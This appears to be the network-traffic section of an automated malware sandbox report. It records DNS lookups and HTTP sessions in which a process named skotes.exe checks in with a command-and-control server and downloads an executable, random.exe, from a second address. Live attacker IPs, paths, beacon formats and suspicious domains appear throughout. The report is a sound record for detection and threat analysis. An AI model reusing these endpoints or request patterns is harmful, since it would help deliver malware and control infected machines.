Dec 16, 2024 15:02:47.971132994 CET	192.168.2.6	1.1.1.1	0x5945	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:48.113147974 CET	192.168.2.6	1.1.1.1	0x283c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:02:50.072824955 CET	192.168.2.6	1.1.1.1	0xc3c4	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:13.945233107 CET	192.168.2.6	1.1.1.1	0xd508	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:13.945276976 CET	192.168.2.6	1.1.1.1	0xe77e	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 15:03:15.653564930 CET	192.168.2.6	1.1.1.1	0x8875	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:15.978305101 CET	192.168.2.6	1.1.1.1	0x35d5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 15:03:15.979118109 CET	192.168.2.6	1.1.1.1	0x577e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:15.979327917 CET	192.168.2.6	1.1.1.1	0x879e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:16.458097935 CET	192.168.2.6	1.1.1.1	0x95d3	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:16.458164930 CET	192.168.2.6	1.1.1.1	0x2d00	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:03:19.094301939 CET	192.168.2.6	1.1.1.1	0x1f84	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:19.094350100 CET	192.168.2.6	1.1.1.1	0xbbf6	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:03:20.214111090 CET	192.168.2.6	1.1.1.1	0xf30b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:36.434938908 CET	192.168.2.6	1.1.1.1	0xfb61	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:37.089147091 CET	192.168.2.6	1.1.1.1	0x626	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:37.344228983 CET	192.168.2.6	1.1.1.1	0x9600	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 15:03:37.395011902 CET	192.168.2.6	1.1.1.1	0xbdfe	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:37.397882938 CET	192.168.2.6	1.1.1.1	0xe117	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:37.565583944 CET	192.168.2.6	1.1.1.1	0xa52b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:03:38.464067936 CET	192.168.2.6	1.1.1.1	0x8922	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:43.508061886 CET	192.168.2.6	1.1.1.1	0x84af	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:43.508061886 CET	192.168.2.6	1.1.1.1	0x443f	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:03:46.550164938 CET	192.168.2.6	1.1.1.1	0x83a1	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:46.550164938 CET	192.168.2.6	1.1.1.1	0xc777	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:03:50.525775909 CET	192.168.2.6	1.1.1.1	0x9544	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:50.525930882 CET	192.168.2.6	1.1.1.1	0xf171	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 15:03:54.491775036 CET	192.168.2.6	1.1.1.1	0xd4ee	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:54.491775990 CET	192.168.2.6	1.1.1.1	0xf99d	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:03:57.360922098 CET	192.168.2.6	1.1.1.1	0x2867	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:57.360922098 CET	192.168.2.6	1.1.1.1	0xdc6b	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 15:04:05.612014055 CET	192.168.2.6	1.1.1.1	0xb0b3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:05.700565100 CET	192.168.2.6	1.1.1.1	0x6e13	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:04:05.754010916 CET	192.168.2.6	1.1.1.1	0x53fe	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:04:21.867516994 CET	192.168.2.6	1.1.1.1	0x977e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:25.950814009 CET	192.168.2.6	1.1.1.1	0x5f9d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:05.338026047 CET	192.168.2.6	1.1.1.1	0x3dc4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:05:05.506356001 CET	192.168.2.6	1.1.1.1	0xb179	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 16, 2024 15:05:05.769685984 CET	192.168.2.6	1.1.1.1	0x8049	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 15:05:05.773386955 CET	192.168.2.6	1.1.1.1	0x96	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:05:05.844929934 CET	192.168.2.6	1.1.1.1	0xb4f2	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:05.927912951 CET	192.168.2.6	1.1.1.1	0x40f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.179086924 CET	192.168.2.6	1.1.1.1	0x1ae8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.193007946 CET	192.168.2.6	1.1.1.1	0x40f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.423964024 CET	192.168.2.6	1.1.1.1	0xcdb4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:05:06.768750906 CET	192.168.2.6	1.1.1.1	0x2ea7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:02:15.974901915 CET	1.1.1.1	192.168.2.6	0xb74d	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:15.974901915 CET	1.1.1.1	192.168.2.6	0xb74d	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:33.690928936 CET	1.1.1.1	192.168.2.6	0xda93	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 15:02:33.692590952 CET	1.1.1.1	192.168.2.6	0x24e8	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:42.501324892 CET	1.1.1.1	192.168.2.6	0x712c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:42.646487951 CET	1.1.1.1	192.168.2.6	0x413a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.139801979 CET	1.1.1.1	192.168.2.6	0xa0f2	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.140553951 CET	1.1.1.1	192.168.2.6	0x30e9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:45.140553951 CET	1.1.1.1	192.168.2.6	0x30e9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.280739069 CET	1.1.1.1	192.168.2.6	0xd58b	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.282917976 CET	1.1.1.1	192.168.2.6	0xd189	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.430937052 CET	1.1.1.1	192.168.2.6	0x889f	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 16, 2024 15:02:45.434925079 CET	1.1.1.1	192.168.2.6	0x17d3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 16, 2024 15:02:46.810547113 CET	1.1.1.1	192.168.2.6	0x1ed	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:46.810547113 CET	1.1.1.1	192.168.2.6	0x1ed	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:46.813761950 CET	1.1.1.1	192.168.2.6	0x66f2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:46.820105076 CET	1.1.1.1	192.168.2.6	0xcaad	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.226203918 CET	1.1.1.1	192.168.2.6	0x5465	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.229535103 CET	1.1.1.1	192.168.2.6	0x3227	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.229535103 CET	1.1.1.1	192.168.2.6	0x3227	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.229547024 CET	1.1.1.1	192.168.2.6	0x41e2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.248831034 CET	1.1.1.1	192.168.2.6	0xdf1d	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:47.248831034 CET	1.1.1.1	192.168.2.6	0xdf1d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.251629114 CET	1.1.1.1	192.168.2.6	0x38e0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:47.251629114 CET	1.1.1.1	192.168.2.6	0x38e0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.254586935 CET	1.1.1.1	192.168.2.6	0x31a	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.410706997 CET	1.1.1.1	192.168.2.6	0x7cc5	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.968292952 CET	1.1.1.1	192.168.2.6	0x2a0d	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:47.968292952 CET	1.1.1.1	192.168.2.6	0x2a0d	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:02:47.968292952 CET	1.1.1.1	192.168.2.6	0x2a0d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:48.109698057 CET	1.1.1.1	192.168.2.6	0x5945	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:48.251116037 CET	1.1.1.1	192.168.2.6	0x283c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 16, 2024 15:02:50.295238972 CET	1.1.1.1	192.168.2.6	0xc3c4	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:03:05.233489037 CET	1.1.1.1	192.168.2.6	0x9510	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:05.535929918 CET	1.1.1.1	192.168.2.6	0x5d1b	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:05.760271072 CET	1.1.1.1	192.168.2.6	0xb3ad	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:06.129214048 CET	1.1.1.1	192.168.2.6	0x898a	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:06.350460052 CET	1.1.1.1	192.168.2.6	0x25ef	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:06.646660089 CET	1.1.1.1	192.168.2.6	0xe90a	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:06.882926941 CET	1.1.1.1	192.168.2.6	0xf3ae	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:07.100488901 CET	1.1.1.1	192.168.2.6	0xfbb1	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:07.324071884 CET	1.1.1.1	192.168.2.6	0x9573	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:14.083725929 CET	1.1.1.1	192.168.2.6	0xd508	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:14.083725929 CET	1.1.1.1	192.168.2.6	0xd508	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:16.351200104 CET	1.1.1.1	192.168.2.6	0xa0a1	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:03:16.351200104 CET	1.1.1.1	192.168.2.6	0xa0a1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:16.991246939 CET	1.1.1.1	192.168.2.6	0x95d3	No error (0)	home.twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:19.233696938 CET	1.1.1.1	192.168.2.6	0x1f84	No error (0)	home.twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:20.351382017 CET	1.1.1.1	192.168.2.6	0xf30b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:03:20.351382017 CET	1.1.1.1	192.168.2.6	0xf30b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:37.228267908 CET	1.1.1.1	192.168.2.6	0x626	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:03:37.228267908 CET	1.1.1.1	192.168.2.6	0x626	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:37.533873081 CET	1.1.1.1	192.168.2.6	0xbdfe	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:38.602863073 CET	1.1.1.1	192.168.2.6	0x8922	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:03:38.602863073 CET	1.1.1.1	192.168.2.6	0x8922	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:43.909379959 CET	1.1.1.1	192.168.2.6	0x84af	No error (0)	twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:46.690080881 CET	1.1.1.1	192.168.2.6	0x83a1	No error (0)	twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:50.663002968 CET	1.1.1.1	192.168.2.6	0x9544	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:50.664446115 CET	1.1.1.1	192.168.2.6	0xf171	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 15:03:54.629863024 CET	1.1.1.1	192.168.2.6	0xd4ee	No error (0)	twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:03:57.503302097 CET	1.1.1.1	192.168.2.6	0x2867	No error (0)	home.twentygr20sb.top		138.124.34.218	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:05.698725939 CET	1.1.1.1	192.168.2.6	0x8107	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:04:05.698725939 CET	1.1.1.1	192.168.2.6	0x8107	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:05.752047062 CET	1.1.1.1	192.168.2.6	0x9e2d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:05.752068043 CET	1.1.1.1	192.168.2.6	0xb0b3	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:22.006357908 CET	1.1.1.1	192.168.2.6	0x977e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:04:22.006357908 CET	1.1.1.1	192.168.2.6	0x977e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:04:26.088931084 CET	1.1.1.1	192.168.2.6	0x5f9d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:04:26.088931084 CET	1.1.1.1	192.168.2.6	0x5f9d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:05.644138098 CET	1.1.1.1	192.168.2.6	0xb179	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 16, 2024 15:05:05.984966040 CET	1.1.1.1	192.168.2.6	0xb4f2	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:05.984966040 CET	1.1.1.1	192.168.2.6	0xb4f2	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:05.984966040 CET	1.1.1.1	192.168.2.6	0xb4f2	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.177987099 CET	1.1.1.1	192.168.2.6	0x14b3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:06.177987099 CET	1.1.1.1	192.168.2.6	0x14b3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.178009987 CET	1.1.1.1	192.168.2.6	0x14b3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:06.178009987 CET	1.1.1.1	192.168.2.6	0x14b3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.340791941 CET	1.1.1.1	192.168.2.6	0x40f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:06.340802908 CET	1.1.1.1	192.168.2.6	0x40f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:06.423177958 CET	1.1.1.1	192.168.2.6	0x1ae8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:05:06.905920029 CET	1.1.1.1	192.168.2.6	0x2ea7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:05:06.905920029 CET	1.1.1.1	192.168.2.6	0x2ea7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49856	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:04.758857012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:02:06.114967108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49865	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:07.741559029 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:02:09.136394978 CET	1158	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 63 37 0d 0a 20 3c 63 3e 31 30 31 36 31 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 31 32 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 36 31 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 31 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 3c7 <c>1016127001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016128001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016129001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016130001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016131001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016132001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016133001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016135001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016136001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#1016137001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49867	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:09.348439932 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 15:02:10.691071033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:09 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Mon, 16 Dec 2024 13:43:45 GMT Connection: keep-alive ETag: "67602e91-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 